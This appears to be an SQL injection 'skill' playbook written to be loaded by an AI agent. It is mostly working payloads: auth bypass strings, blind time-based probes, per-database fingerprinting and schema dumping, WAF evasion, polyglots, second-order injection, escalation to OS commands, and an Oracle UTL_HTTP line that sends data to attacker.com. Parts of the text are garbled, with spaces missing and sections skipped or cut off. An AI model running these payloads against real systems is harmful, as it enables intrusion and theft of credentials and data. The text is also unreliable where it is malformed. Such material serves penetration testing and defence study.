SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
SKILL: SQL Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion SCENARIOS.md.
0. RELATED ROUTING
ghost-bits-cast-attack when the backend is Java with Jackson and your SQL keywords are WAF-blocked — Jackson's charToHex table is indexed by ch & 0xFF, so a Unicode character like 丰 (U+4E30) resolves to hex digit 0 inside a \uXXXX escape sequence, letting you smuggle UNION, SELECT, 1, etc. without the WAF ever seeing them
If you have only confirmed a suspicious SQL sink, do not load extra payload skills first; complete first-pass validation here.
First-pass payload families
Situation
Start With
Why
Login or boolean branch
' or 1=1--
Fast signal on auth or conditional checks
Numeric parameter
1 or 1=1
Avoid quote dependency
ORDER BY / sorting
1,2,3 then 1 desc--
Good for structural probing
Visible SQL errors
' then DBMS-specific error probes
Error text gives DBMS clues
No visible output
time-based payloads
Stable fallback for blind targets
Heavy filtering / WAF
polyglot or whitespace-free variants
Expands parser confusion surface
Small, stable first-pass set
'
' or 1=1--
' or '1'='1'--
1 or 1=1
') or ('1'='1
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
'||(SELECT pg_sleep(5))--
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
' order by 1--
' union select null--
DBMS routing hints
Clue
Likely DBMS
Good Next Move
You have an error in your SQL syntax
MySQL
try SLEEP() and @@version
Microsoft OLE DB Provider
MSSQL
try WAITFOR DELAY
PG:: / PostgreSQL
PostgreSQL
try pg_sleep()
ORA- prefix
Oracle
pivot to out-of-band or XML features
SQLite errors, local apps
SQLite
focus on boolean/UNION and file-backed behavior
1. DETECTION — SUBTLE INDICATORS
Most SQLi is found by behavioral differences, not errors:
Signal
Meaning
Page loads differently with ' vs ''
String context injection point
Numeric: 1 vs 1-1 vs 2-1 returns same
Arithmetic evaluated
1=1 vs 1=2 in condition changes result
Boolean-based injection
SELECT with ORDER BY N: column count enumeration
UNION prep
Time delay: '; WAITFOR DELAY '0:0:5'--
Blind/time-based
500 error on ', 200 on ''
Unhandled exception = SQLi
Different HTTP response size
Boolean blind indicator
Critical: test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values).
2. DATABASE FINGERPRINTING
-- MySQL
VERSION() -- returns version string
@@datadir-- data directory
@@global.secure_file_priv -- file read restriction-- MSSQL
@@VERSION-- includes "Microsoft SQL Server"
DB_NAME() -- current database
USER_NAME() -- current user-- Oracle
v$version -- SELECT banner FROM v$version WHERE ROWNUM=1
sys.database_name -- current db (alternative)user-- current Oracle user-- PostgreSQL
version() -- returns version
current_database() -- current dbcurrent_user-- current user
Error-based fingerprint: inject ' and read error message format. MySQL errors differ from Oracle/MSSQL.
3. UNION-BASED DATA EXTRACTION
Column count determination:
ORDERBY1--ORDERBY2--ORDERBY N-- ← until error = N-1 columns
-- Does first char of username = 'a'?' AND SUBSTRING(username,1,1)='a'--
'AND ASCII(SUBSTRING(username,1,1))>96---- Oracle' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--
-- MSSQL
'ANDSUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--
Time-Based Blind (no response difference)
-- MSSQL (most reliable)'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--
-- MySQL
'AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)---- Oracle' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle sleep alternative (no SLEEP):
'AND1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECTuserFROM dual))---- PostgreSQL'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL
Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline.
Write malicious shared library to filesystem, then CREATE FUNCTION ... SONAME.
Oracle — Java Stored Procedures
-- Create Java class:EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
-- Then exec OS commands via Java Runtime
7. SECOND-ORDER INJECTION
Concept: User input is stored safely (parameterized), but later retrieved as trusted data and concatenated into a new query without re-sanitization.
Example attack flow:
Register username: admin'--
Application safely inserts this into users table
Password change function fetches username from session (trusted!) and builds:
UPDATE users SET password='newpass'WHERE username='admin'--'
Comment strips the condition → updates admin's password
Key insight: Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data.
8. PARAMETERIZED QUERY BYPASS SCENARIOS
Parameterized queries do NOT prevent SQLi when:
Table/column names are user-controlled — params can't parameterize identifiers:
-- UNSAFE even with params:
"SELECT * FROM " + tableName + " WHERE id = ?"
String Construction (bypass literal-string detection)
-- MySQL concatenation without quotes:CHAR(117,115,101,114,110,97,109,101) -- 'username'-- Oracle:
CHR(117)||CHR(115)||CHR(101)||CHR(114)
-- MSSQL:CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)
10. DATABASE METADATA EXTRACTION
MySQL
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT column_name FROM information_schema.columns WHERE table_name='users'
MSSQL
SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U'-- user tablesSELECT name FROM syscolumns WHERE id=OBJECT_ID('users')
Oracle
SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'SELECT username,password FROM dba_users -- requires DBA
PostgreSQL
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- UNION with JOIN instead of comma:UNIONSELECT*FROM (SELECT1)a JOIN (SELECT2)b JOIN (SELECT3)c
-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)-- LIMIT alternative: LIMIT 1 OFFSET 0
Polyglot Injection
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
Routed Injection
-- First query returns string used as input to second query:' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--
-- The returned value becomes part of another SQL context
Second-Order Injection
-- Step 1: Register username: admin'--
-- Step 2: Trigger password change (uses stored username in SQL)
-- UPDATE users SET password='new' WHERE username='admin'--'
PDO / Prepared Statement Edge Cases
// Unsafe even with PDO when query structure is dynamic:$pdo->query("SELECT * FROM " . $_GET['table']);
// Or when using emulated prepares with multi-query:$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
Entry Point Detection (Unicode tricks)
U+02BA ʺ (modifier letter double prime) → "
U+02B9 ʹ (modifier letter prime) → '
%%2727 → %27 → '